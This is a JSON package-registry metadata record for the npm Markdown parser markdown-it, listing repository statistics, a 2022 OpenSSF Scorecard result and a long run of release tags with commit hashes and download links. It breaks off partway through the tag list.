{"id":1991597,"name":"markdown-it","ecosystem":"npm","description":"Markdown-it - modern pluggable markdown parser.","homepage":"https://github.com/markdown-it/markdown-it#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/markdown-it/markdown-it","keywords_array":["markdown","parser","commonmark","markdown-it","markdown-it-plugin"],"namespace":null,"versions_count":89,"first_release_published_at":"2014-12-19T23:46:48.471Z","latest_release_published_at":"2026-10-16T01:25:15.267Z","latest_release_number":"15.0.3","latest_published_release_number":"15.0.3","last_synced_at":"2026-10-27T09:02:30.130Z","created_at":"2022-04-09T19:18:03.032Z","updated_at":"2026-10-27T09:02:30.130Z","registry_url":"https://www.npmjs.com/package/markdown-it","install_command":"npm install markdown-it","documentation_url":null,"metadata":{"funding":[{"url":"https://github.com/sponsors/puzrin","type":"github"},{"url":"https://github.com/sponsors/markdown-it","type":"github"}],"dist-tags":{"v14-legacy":"14.3.3","latest":"15.0.3"},"contentPolicy":null},"repo_metadata":{"id":24834828,"uuid":"28249537","full_name":"markdown-it/markdown-it","owner":"markdown-it","description":"Markdown parser, done right. 100% CommonMark support, extensions, syntax plugins \u0026 high speed","archived":false,"fork":false,"pushed_at":"2026-10-23T18:32:33.000Z","size":4426,"stargazers_count":22007,"open_issues_count":11,"forks_count":1852,"subscribers_count":177,"default_branch":"master","last_synced_at":"2026-10-25T04:30:34.474Z","etag":null,"topics":["commonmark","javascript","markdown"],"latest_commit_sha":null,"homepage":"https://markdown-it.github.io","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/markdown-it.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/funding.json","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":"support/build-dist.mjs","governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["puzrin","markdown-it"]}},"created_at":"2014-12-19T22:54:53.000Z","updated_at":"2026-10-25T02:10:03.000Z","dependencies_parsed_at":"2026-10-02T18:43:06.812Z","dependency_job_id":null,"html_url":"https://github.com/markdown-it/markdown-it","commit_stats":{"total_commits":1063,"total_committers":87,"mean_commits":"12.218390804597702","dds":0.3668861712135466,"last_synced_commit":"0fe7ccb4b7f30236fb05f623be6924961d296d3d"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/markdown-it/markdown-it","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/markdown-it","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/sbom","scorecard":{"id":90205,"data":{"date":"2022-08-15","repo":{"name":"github.com/markdown-it/markdown-it","commit":"1529ff4944329eb8080a8558dab85164b6c212cd"},"scorecard":{"version":"v4.5.0-26-g10b6052","commit":"10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93"},"score":6.5,"checks":[{"name":"Maintained","score":10,"reason":"3 commit(s) out of 30 and 13 issue activity out of 30 found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93/docs/checks.md#maintained"}},{"name":"Code-Review","score":3,"reason":"GitHub code reviews found for 10 commits out of the last 30 -- score normalized to 3","details":["Warn: no reviews found for commit: 1529ff4944329eb8080a8558dab85164b6c212cd","Warn: no reviews found for commit: 6325878f9fa7dba17c8af1c5f190a455191495aa","Warn: no reviews found for commit: 9ff460ef878e762443954fc9776743f60db031f3","Warn: no reviews found for commit: e843acc9edad115cbf8cf85e676443f01658be08","Warn: no reviews found for commit: bda718216b20fa03b725443b8a1d160a0baeb94f","Warn: no reviews found for commit: b8b610fd7ae2783cee110539b5429d9b09671409","Warn: no reviews found for commit: d17df137d08e0cf989c21223dfbb420fac929a51","Warn: no reviews found for commit: 6ec0b76ebe439f5858ae51d8e0cb45ee4a7ad46c","Warn: no reviews found for commit: 0e4c0f47a9ef87c07016a1f39b817dd3585eb19b","Warn: no reviews found for commit: d1757ed98b57d17b2656c6abe314efdccabc9732","Warn: no reviews found for commit: f52351499be1e6c838110c31e07154cce1d91d47","Warn: no reviews found for commit: 3fc0deb38b5a8b2eb8f46c727cc4e299e5ae5f9c","Warn: no reviews found for commit: 6b58ec4245abe2e293c79bd7daabf4543ef46399","Warn: no reviews found for commit: 75037c6514e99c9b4fa300f62f04913fee4ea0e2","Warn: no reviews found for commit: 7edd820b57a7018a9886b6b2efacc9bdae20ca98","Warn: no reviews found for commit: df77ca12fb9424867643de251f80d0c6d0f876cf","Warn: no reviews found for commit: 6a5bf2d41b9a9d3dabff0d3ade03f7250c1021a4","Warn: no reviews found for commit: d67155cbc97c355dcdd682c15935539d2df6ec5b","Warn: no reviews found for commit: d72c68b520cedacae7878caa92bf7fe32e3e0e6f","Warn: no reviews found for commit: aca33963612b27d4c25d5051c5fb7ba986598686"],"documentation":{"short":"Determines if the project requires code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no badge detected","details":null,"documentation":{"short":"Determines if the project has a CII Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93/docs/checks.md#cii-best-practices"}},{"name":"Vulnerabilities","score":10,"reason":"no vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93/docs/checks.md#vulnerabilities"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy detected in current repo: docs/security.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"non read-only tokens detected in GitHub workflows","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1: update your workflow using https://app.stepsecurity.io/secureworkflow/l-orlov/task-tracker/ci.yml/main?enable=permissions"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93/docs/checks.md#token-permissions"}},{"name":"Dependency-Update-Tool","score":10,"reason":"update tool detected","details":["Info: Dependabot detected: .github/dependabot.yml:1"],"documentation":{"short":"Determines if the project uses a dependency update tool.","url":"https://github.com/ossf/scorecard/blob/10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93/docs/checks.md#dependency-update-tool"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93/docs/checks.md#dangerous-workflow"}},{"name":"Packaging","score":-1,"reason":"no published package detected","details":["Warn: no GitHub publishing workflow detected"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93/docs/checks.md#packaging"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: : LICENSE:1"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":7,"reason":"dependency not pinned by hash detected -- score normalized to 7","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/l-orlov/task-tracker/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/l-orlov/task-tracker/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/l-orlov/task-tracker/ci.yml/main?enable=pin","Warn: npmCommand not pinned by hash: .github/workflows/ci.yml:27","Info: Dockerfile dependencies are pinned","Info: no insecure (not pinned by hash) dependency downloads found in Dockerfiles","Info: no insecure (not pinned by hash) dependency downloads found in shell scripts"],"documentation":{"short":"Determines if the project has declared and pinned its dependencies.","url":"https://github.com/ossf/scorecard/blob/10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93/docs/checks.md#pinned-dependencies"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93/docs/checks.md#binary-artifacts"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":["Warn: no GitHub releases found"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93/docs/checks.md#branch-protection"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":null,"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/10b6052acfb4f0b8136bc4876cb6f5b6f26bfe93/docs/checks.md#fuzzing"}}]},"last_synced_at":"2025-08-15T07:46:33.156Z","repository_id":24834828,"created_at":"2025-08-15T07:46:33.156Z","updated_at":"2025-08-15T07:46:33.156Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":345237552,"owners_count":38503196,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-25T02:00:07.705Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"markdown-it","name":"Markdown it!","uuid":"10248321","kind":"organization","description":"Next generation markdown parser in javascript, with pluggable syntax!","email":null,"website":"https://markdown-it.github.io/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/10248321?v=4","repositories_count":19,"last_synced_at":"2024-10-29T15:54:12.318Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/markdown-it","funding_links":["https://github.com/sponsors/markdown-it"],"total_stars":20547,"followers":176,"following":0,"created_at":"2022-11-02T16:20:41.236Z","updated_at":"2024-10-29T15:54:12.318Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/markdown-it","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/markdown-it/repositories"},"tags":[{"name":"14.3.2","sha":"efb9993124c3eb229eea24dd659c91dcee7f6d60","kind":"commit","published_at":"2026-09-12T05:17:21.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/14.3.2","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/14.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@14.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/14.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/14.3.2/manifests"},{"name":"15.0.2","sha":"3c51991c32aaa2b002a52c009334ebe5752c84b3","kind":"commit","published_at":"2026-09-11T03:50:26.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/15.0.2","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/15.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@15.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/15.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/15.0.2/manifests"},{"name":"15.0.1","sha":"924b203442f62cea128b5f2680294697621b416d","kind":"commit","published_at":"2026-08-27T20:56:02.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/15.0.1","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/15.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@15.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/15.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/15.0.1/manifests"},{"name":"14.3.1","sha":"a855f10b1b796ca42178952b4b83b9c8b677ddb8","kind":"commit","published_at":"2026-08-27T20:45:51.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/14.3.1","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/14.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@14.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/14.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/14.3.1/manifests"},{"name":"15.0.0","sha":"157b33bc13649aebecf9ab9b3b8c85ae645abb5a","kind":"commit","published_at":"2026-07-30T16:41:34.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/15.0.0","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/15.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@15.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/15.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/15.0.0/manifests"},{"name":"14.3.0","sha":"ff0ee084fc6b0d10fac049fa562bc2925b5cc723","kind":"commit","published_at":"2026-07-02T00:21:39.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/14.3.0","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/14.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@14.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/14.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/14.3.0/manifests"},{"name":"14.2.0","sha":"829797aa00353ce0b62ddeb9b4583b837b1ffd9b","kind":"commit","published_at":"2026-05-23T23:19:25.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/14.2.0","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/14.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@14.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/14.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/14.2.0/manifests"},{"name":"14.1.1","sha":"b4a9b659ef5734223731cfaa3ad5eacc6fc22918","kind":"commit","published_at":"2026-02-11T03:40:45.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/14.1.1","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/14.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@14.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/14.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/14.1.1/manifests"},{"name":"14.1.0","sha":"0fe7ccb4b7f30236fb05f623be6924961d296d3d","kind":"commit","published_at":"2024-03-18T23:10:30.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/14.1.0","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/14.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@14.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/14.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/14.1.0/manifests"},{"name":"14.0.0","sha":"4949a10120d101bdca48bf1b13f9e790d6f2049e","kind":"commit","published_at":"2023-12-08T01:24:17.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/14.0.0","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/14.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@14.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/14.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/14.0.0/manifests"},{"name":"13.0.2","sha":"e476f78bc3ea3576beb61bdc94322d0a6b2d85cc","kind":"commit","published_at":"2023-09-26T18:23:55.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/13.0.2","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/13.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@13.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/13.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/13.0.2/manifests"},{"name":"13.0.1","sha":"e843acc9edad115cbf8cf85e676443f01658be08","kind":"commit","published_at":"2022-05-03T14:21:00.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/13.0.1","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/13.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@13.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/13.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/13.0.1/manifests"},{"name":"13.0.0","sha":"6ec0b76ebe439f5858ae51d8e0cb45ee4a7ad46c","kind":"commit","published_at":"2022-04-22T17:18:25.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/13.0.0","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/13.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@13.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/13.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/13.0.0/manifests"},{"name":"12.3.2","sha":"d72c68b520cedacae7878caa92bf7fe32e3e0e6f","kind":"commit","published_at":"2022-01-08T15:02:53.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/12.3.2","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/12.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@12.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.3.2/manifests"},{"name":"12.3.1","sha":"76469e83dc1a1e3ed943b483b554003a666bddf7","kind":"commit","published_at":"2022-01-07T16:34:54.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/12.3.1","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/12.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@12.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.3.1/manifests"},{"name":"12.3.0","sha":"2e31d3430187d2eee1ba120c954783eebb93b4e8","kind":"commit","published_at":"2021-12-09T16:59:26.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/12.3.0","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/12.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@12.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.3.0/manifests"},{"name":"12.2.0","sha":"6e2de08a0b03d3d0dcc524b89710ce05f83a0283","kind":"commit","published_at":"2021-08-02T18:18:00.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/12.2.0","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/12.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@12.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.2.0/manifests"},{"name":"12.1.0","sha":"13cdeb95abccc78a5ce17acf9f6e8cf5b9ce713b","kind":"commit","published_at":"2021-07-01T18:36:41.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/12.1.0","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/12.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@12.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.1.0/manifests"},{"name":"12.0.6","sha":"df4607f1d4d4be7fdc32e71c04109aea8cc373fa","kind":"commit","published_at":"2021-04-16T12:08:12.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/12.0.6","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/12.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@12.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.0.6/manifests"},{"name":"12.0.5","sha":"3740146fc9c92ea15fdc6a358137ec7b68f05f4b","kind":"commit","published_at":"2021-04-14T21:34:55.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/12.0.5","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/12.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@12.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.0.5/manifests"},{"name":"12.0.4","sha":"7b8969ce5cb2edc54f2c1aa39a85a3a08076337d","kind":"commit","published_at":"2020-12-20T15:59:55.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/12.0.4","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/12.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@12.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.0.4/manifests"},{"name":"12.0.3","sha":"ef59691072cdb003e07875737d1ce3e70ed67395","kind":"commit","published_at":"2020-12-07T20:52:53.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/12.0.3","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/12.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@12.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.0.3/manifests"},{"name":"12.0.2","sha":"b60493e620a685a40eac016dde2c207ee9e07875","kind":"commit","published_at":"2020-10-23T17:06:05.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/12.0.2","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/12.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@12.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.0.2/manifests"},{"name":"12.0.1","sha":"e3c4c5cfd73f019291d310f4abba7a20d225e060","kind":"commit","published_at":"2020-10-19T12:13:58.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/12.0.1","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/12.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@12.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.0.1/manifests"},{"name":"12.0.0","sha":"1731de407e56595d1e206c79482061d1c6f501ed","kind":"commit","published_at":"2020-10-14T18:20:41.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/12.0.0","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/12.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@12.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/12.0.0/manifests"},{"name":"11.0.1","sha":"331ae117e09115366db12b517ca526b1b7fee1e8","kind":"commit","published_at":"2020-09-14T08:02:07.000Z","download_url":"https://codeload.github.com/markdown-it/markdown-it/tar.gz/11.0.1","html_url":"https://github.com/markdown-it/markdown-it/releases/tag/11.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/markdown-it/markdown-it@11.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/11.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/tags/11.0.1/manifests"},{"name":"11.0.0","sha":"1093e68e51c9b3104289c3cfbaffbb1fa4039d59","kind":"commit","published_at":"2020-05-19T21:20:40.000Z","download_url":"https://codeload.github.com/markdown-it/